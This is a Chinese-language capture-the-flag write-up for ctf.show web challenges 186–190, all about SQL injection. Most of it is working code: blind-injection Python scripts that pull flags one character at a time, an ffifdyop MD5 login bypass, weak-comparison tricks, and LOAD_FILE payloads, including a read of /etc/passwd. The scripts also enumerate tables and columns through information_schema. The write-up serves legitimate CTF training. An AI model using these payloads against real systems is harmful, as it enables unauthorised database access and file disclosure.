ctfshow——web入门186~190
web入门186
还是185的脚本
from requests import post
from string import digits, ascii_lowercase
URL = "http://23bc03a1-e5ce-4acd-b632-9d531a57877a.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user group by pass having substr(pass,{},{}) regexp char({})"
flag = "ctfshow{"
def encode(param):
res = ""
if isinstance(param, int):
for i in range(param):
res += "true+"
else:
for i in range(ord(param)):
res += "true+"
#ord用来返回ascii值
return res[:-1]
while True:
for c in "-}" + digits + ascii_lowercase:
data = {"tableName": payload.format(encode(len(flag) + 1), encode(1), encode(c))}
if "user_count = 0" in post(URL, data).text:
continue
else:
flag = flag + c
print(flag)
if c == "}":
exit()
break
web入门187
要求password在md5加密后等于一个值,
此处使用ffifdyop万能密码绕过。
ffifdyop的MD5加密结果是276f722736c95d99e921722cf9ed621c,经过MySQL编码后会变成’or’6xxx, 只要第一位是非零数字即可被判定为True,后面的会在MySQL将其转换成整型比较时丢掉 使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密。关键参数为md5(xx,true)。
web入门188
在这个查询中,因为username是个字符串,我们只要令$username=0, 因为弱比较,username就会转化为0,成立
这个密码也是同理,mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0 (看来pass也是以字母开头)
web入门189
load_file
LOAD_FILE()
是 MySQL 中的一个函数,用于从服务器文件系统中读取文件内容并将其作为字符串返回。
LOAD_FILE()
的基本语法
SELECT LOAD_FILE('/path/to/file');
/path/to/file
:需要读取的文件路径。- 返回值:
-
- 如果文件存在且可以读取,返回文件内容(以字符串形式)。
- 如果文件不存在或无法读取,返回
NULL
。
使用条件
文件路径必须是绝对路径
LOAD_FILE()
只能读取绝对路径下的文件,不能使用相对路径。- 示例:
SELECT LOAD_FILE('/etc/passwd');
这题在账号密码都是0时会报出
所以我们可以根据这个查询
密码错误的Unicode 编码为\u5bc6\u7801\u9519\u8bef
脚本:
import requests
str="{1234567890-qwertyuiopasdfghjklzxcvbnm}"
flag = ''
for x in range(50):
for i in str:
data = {
"username":"if(load_file('/var/www/html/api/index.php')regexp'ctfshow{}',0,1)".format(flag+i),"password":"0"
}
#这里是如果匹配成功,username=0,password=0
res = requests.post('http://01b06d9c-49f5-47f4-8b70-8e0295a824f0.challenge.ctf.show/api/index.php',data=data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag+=i
print('ctfshow'+flag)
if i=='}':
exit()
break
web入门190
通过改变用户名,出现不同的回显
以此来构造
import requests
import string
url = "http://1159d798-add3-47e4-bdc2-1b7658b8359e.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
for k in range(32, 128):
data={
#'username': f"1'|| if(ascii(substr(database(),{j},1))={k},1,0)#",
#'username': f"1'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
#'username': f"1'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#"
'username': f"1'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += chr(k)
print(out)
break